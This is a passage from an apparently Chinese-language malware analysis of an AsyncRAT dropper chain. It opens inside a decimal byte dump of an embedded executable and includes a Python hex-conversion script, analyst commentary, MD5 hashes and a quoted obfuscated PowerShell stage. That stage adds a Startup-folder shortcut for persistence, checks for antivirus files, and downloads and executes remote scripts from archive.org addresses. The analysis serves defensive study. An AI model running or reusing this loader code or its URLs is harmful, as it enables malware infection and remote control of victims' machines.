118,101,108,32,108,101,118,101,108,61,34,97,115,73,110,118,111,107,101,114,34,32,117,105,65,99,99,101,115,115,61,34,102,97,108,115,101,34,32,47,62,13,10,32,32,32,32,32,32,60,47,114,101,113,117,101,115,116,101,100,80,114,105,118,105,108,101,103,101,115,62,13,10,32,32,32,32,60,47,115,101,99,117,114,105,116,121,62,13,10,32,32,60,47,116,114,117,115,116,73,110,102,111,62,13,10,32,32,60,99,111,109,112,97,116,105,98,105,108,105,116,121,32,120,109,108,110,115,61,34,117,114,110,58,115,99,104,101,109,97,115,45,109,105,99,114,111,115,111,102,116,45,99,111,109,58,99,111,109,112,97,116,105,98,105,108,105,116,121,46,118,49,34,62,13,10,32,32,32,32,60,97,112,112,108,105,99,97,116,105,111,110,62,13,10,32,32,32,32,32,32,60,33,45,45,32,87,105,110,100,111,119,115,32,86,105,115,116,97,32,45,45,62,13,10,32,32,32,32,32,32,60,115,117,112,112,111,114,116,101,100,79,83,32,73,100,61,34,123,101,50,48,49,49,52,53,55,45,49,53,52,54,45,52,51,99,53,45,97,53,102,101,45,48,48,56,100,101,101,101,51,100,51,102,48,125,34,47,62,13,10,32,32,32,32,32,32,60,33,45,45,32,87,105,110,100,111,119,115,32,55,32,45,45,62,13,10,32,32,32,32,32,32,60,115,117,112,112,111,114,116,101,100,79,83,32,73,100,61,34,123,51,53,49,51,56,98,57,97,45,53,100,57,54,45,52,102,98,100,45,56,101,50,100,45,97,50,52,52,48,50,50,53,102,57,51,97,125,34,47,62,13,10,32,32,32,32,32,32,60,33,45,45,32,87,105,110,100,111,119,115,32,56,32,45,45,62,13,10,32,32,32,32,32,32,60,115,117,112,112,111,114,116,101,100,79,83,32,73,100,61,34,123,52,97,50,102,50,56,101,51,45,53,51,98,57,45,52,52,52,49,45,98,97,57,99,45,100,54,57,100,52,97,52,97,54,101,51,56,125,34,47,62,13,10,32,32,32,32,32,32,60,33,45,45,32,87,105,110,100,111,119,115,32,56,46,49,32,45,45,62,13,10,32,32,32,32,32,32,60,115,117,112,112,111,114,116,101,100,79,83,32,73,100,61,34,123,49,102,54,55,54,99,55,54,45,56,48,101,49,45,52,50,51,57,45,57,53,98,98,45,56,51,100,48,102,54,100,48,100,97,55,56,125,34,47,62,13,10,32,32,32,32,32,32,60,33,45,45,32,87,105,110,100,111,119,115,32,49,48,32,45,45,62,13,10,32,32,32,32,32,32,60,115,117,112,112,111,114,116,101,100,79,83,32,73,100,61,34,123,56,101,48,102,55,97,49,50,45,98,102,98,51,45,52,102,101,56,45,98,57,97,53,45,52,56,102,100,53,48,97,49,53,97,57,97,125,34,47,62,13,10,32,32,32,32,60,47,97,112,112,108,105,99,97,116,105,111,110,62,13,10,32,32,60,47,99,111,109,112,97,116,105,98,105,108,105,116,121,62,13,10,32,32,60,97,115,109,118,51,58,97,112,112,108,105,99,97,116,105,111,110,32,32,120,109,108,110,115,58,97,115,109,118,51,61,34,117,114,110,58,115,99,104,101,109,97,115,45,109,105,99,114,111,115,111,102,116,45,99,111,109,58,97,115,109,46,118,51,34,32,62,13,10,32,32,32,32,60,97,115,109,118,51,58,119,105,110,100,111,119,115,83,101,116,116,105,110,103,115,32,120,109,108,110,115,61,34,104,116,116,112,58,47,47,115,99,104,101,109,97,115,46,109,105,99,114,111,115,111,102,116,46,99,111,109,47,83,77,73,47,50,48,48,53,47,87,105,110,100,111,119,115,83,101,116,116,105,110,103,115,34,62,13,10,32,32,32,32,32,32,60,100,112,105,65,119,97,114,101,62,116,114,117,101,60,47,100,112,105,65,119,97,114,101,62,13,10,32,32,32,32,60,47,97,115,109,118,51,58,119,105,110,100,111,119,115,83,101,116,116,105,110,103,115,62,13,10,32,32,60,47,97,115,109,118,51,58,97,112,112,108,105,99,97,116,105,111,110,62,13,10,60,47,97,115,115,101,109,98,108,121,62,0,0,192,0,0,12,0,0,0,64,55,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
count = 0
newlist = []
for a in mybyte:
tmp = hex(a)
if len(tmp) != 4:
tmp = tmp[0:2] + "0" + tmp[2]
newlist.append(tmp.replace("0x",""))
count += 1
fw = open("1.txt","w")
for b in newlist:
fw.write(b)
fw.write(" ")
fw.close()
组装出来的pe文件md5为:1ec58af11e19650ae6899fa618b215df,简单分析后可得知这个文件就是AsyncRAT。
没有Kaspersky的情况
若当前主机不存在Kaspersky,程序则会尝试从hxxps://ia601402.us.archive.org/14/items/4_20201229/4.txt下载另脚本文件:
具体代码如下:
Function FFFFFFFFFFFFFFFFFFFFFFFFFFFFFGFG
{
$FDSGDSGDGREYUJCCGC343 = New-Object -ComObject ("WScript.Shell")
$objShortCut = $FDSGDSGDGREYUJCCGC343.CreateShortcut($env:USERPROFILE + "\Start Menu\Programs\Startup" + "\IDMan.lnk")
$objShortCut.TargetPath="C:\Users\Public\Opera.vbs"
$objShortCut.Save()
if([System.IO.File]::Exists("C:\ProgramData\Kaspersky Lab\AVP21.2\Data\avz_config.xms")){
i'e'x ((New-Object System.Net.WebClient).DownloadString('https://ia601505.us.archive.org/27/items/1_20201229/1.txt'))
}else{
i'e'x ((New-Object System.Net.WebClient).DownloadString('https://ia601505.us.archive.org/31/items/3_20201229/3.txt'))
}
}
IEX FFFFFFFFFFFFFFFFFFFFFFFFFFFFFGFG
此powershell脚本首先是创建了一个指向Opera.vbs的lnk文件。接着再次判断上面的路径,若存在在下载27的文件,若不存在则下载31的文件。由于本次分支本来就是不存在才会走到的,所以此处肯定会下载31对应的文件。
31路径对应的3.txt文件还是一个脚本代码片段,该代码片段会判断是否存在ESET的杀软以及ecmds.exe路径,同样的,如果存在则下载AsyncRAT到本地执行。若不存在则下载执行20路径对应的2.txt
这里也可以看到,20路径对应的2.txt也是一个powershell代码文件,并且在里面编码了一个两个PE,第一个PE是直接硬编码到脚本中的。第二个脚本是将0x0替换为了(P:
在代码的最后可以看到程序会将中间数据的(P 替换为0 然后转换为PE,并疑似通过MSBuild.exe加载执行:
经过分析,硬编码的第一个PE就是之前分析到的AsyncRAT:
第二个被替换的PE为一个dll文件,原始文件名:Beef.dll
文件md5:2dc3442289242ea6e2f3483e28e5544a
该文件主要是Heracles恶意样本:
备注:需要注意1:两个杀软文件似乎是被恶意样本白利用的
- 此样本属于AsyncRAT,但是好像跟AgentTesla共用了下载地址。
https://malwaretips.com/threads/fileless-tesla-abuses-net-framework-processes.105636/
关于AsyncRAT网上有比较晚上的分析文章,这里就不再去分析一遍了~